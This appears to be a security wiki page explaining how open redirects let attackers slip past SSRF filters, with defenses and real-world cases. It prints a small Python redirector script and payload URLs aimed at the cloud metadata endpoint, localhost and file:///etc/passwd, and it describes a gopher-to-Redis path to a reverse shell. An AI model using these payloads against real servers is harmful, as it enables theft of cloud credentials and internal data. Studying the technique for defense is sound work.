Open Redirect to SSRF
Turning a redirect-following HTTP client into an SSRF bypass: the app validates the user-supplied URL (allowlist, scheme, private-IP, format) but follows the
3xxLocationresponse to an internal target it never re-checks.
How it works
Many fetchers follow redirects by default (requests/urllib3, libcurl, Java HttpClient, Node clients). The guard runs only against the initial user input; the redirect Location is taken from the attacker’s server and dialled without re-validation. Any filter that lives only at input time — allowlist, https-only scheme check, private-IP denylist, URL-shape constraints — falls to a first hop to an allowed/public host that 302s to the real target. This is the redirect sibling of the validate-to-fetch gap in DNS Rebinding and URL Parser Differentials: the approved destination isn’t bound to the socket that ultimately connects.
Techniques / payloads
Minimal self-hosted redirector (HackTricks):
# python3 redirector.py 8000 http://169.254.169.254/latest/meta-data/
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302); self.send_header('Location', sys.argv[2]); self.end_headers()Point the sink at http://your-redirector:8000/ and it chases the Location.
r3dir (hosted, r3dir.me) — no infra; control target, status code, and method; supports CORS preflight for headless-browser redirects; Burp/Hackvertor integration:
https://302.r3dir.me/--to/?url=http://localhost
https://302.r3dir.me/--to/?url=http://169.254.169.254 # defeats https-only scheme check
https://302.r3dir.me/--to/?url=file:///etc/passwd # protocol switch → local file read
What a redirect buys you:
- Private-IP / denylist bypass — allowed host first hop →
127.0.0.1/0.0.0.0/169.254.169.254. - Scheme/protocol switch — input is forced
https://, but theLocationcan behttp://,gopher://,dict://,file://. Yahoo Mail blockedgopher://at input but followed a302togopher://127.0.0.1:6379/...→ Redis RCE (see Gopher Protocol SSRF). - URL-shape bypass — app only lets you set a hostname for a fixed
https://{host}:8080/request; redirect escapes the fixed path/port/scheme. - Method downgrade —
301/302can turn aPOSTinto aGET(303always does);r3dirlets you pick.
Zero-infra redirectors: URL shorteners (tinyurl set to http://127.0.0.1:5001/admin), ngrok, or an open-redirect on an already-allowlisted host — a redirect primitive on a trusted domain chains straight into the SSRF.
Notable cases
- Yahoo Mail logoGrabber (sirleeroyjenkins, $15k) — direct
gopher://rejected and127.0.0.1filtered; a302togopher://127.0.0.1:6379bypassed both and reached Redis → root reverse shell. - r3dir demo filters —
requests.getwith anis_globalpre-check and anhttps-only check both bypassed, becauserequestsfollows redirects under the hood with no per-hop IP check. - HackerOne reports #3383079 and #381129 — both SSRFs whose input filters were bypassed with redirects.
- WWBN/AVideo CVE-2026-43884 (≤ 14.3, CVSS 7.7) —
isSSRFSafeURL()validated only the initial URL;file_get_contents()followed redirects to IMDS (xalgorix). - Traewelling GHSA-4h3f-pf38-2rhj — webhook delivery via Guzzle with default
allow_redirects(5 hops): anhttps://attacker host302s tohttp://169.254.169.254/latest/meta-data/, switching POST to GET (advisory).
Defenses
- Disable redirect following on server-side fetchers, or cap at zero hops; if redirects are required, re-run the full SSRF validation on every hop’s resolved IP and scheme, not just the first URL.
- Pin and re-check at connect time (DNS pinning, connected-peer validation — DNS Rebinding).
- Enforce a scheme allowlist that also applies to redirect targets (block
gopher/dict/file/ftp). Network egress policy to metadata/internal ranges as backstop (SSRF Prevention, IMDSv2).
Related
- Server-Side Request Forgery
- Gopher Protocol SSRF — protocol switch on redirect to reach TCP services
- Local File Read via SSRF —
file://via redirect - DNS Rebinding · URL Parser Differentials — sibling validate-to-fetch gaps
- Cloud Metadata Service Exploitation · SSRF Prevention
See also: Open Redirect
Sources
- Bypassing SSRF Filters Using r3dir · original
- SSRF Filters Bypass Using Redirects · original
- Just Gopher It: Escalating a Blind SSRF to RCE for $15k · original
- URL Format Bypass - HackTricks · original
- Server-Side Request Forgery - 0xn3va cheat sheet · original
- SSRF advanced exploitation guide · original
- SSRF payloads · original
- A passed check is not proof: the SSRF filter that resolves DNS twice · original
- Traewelling SSRF via outgoing webhook URL · original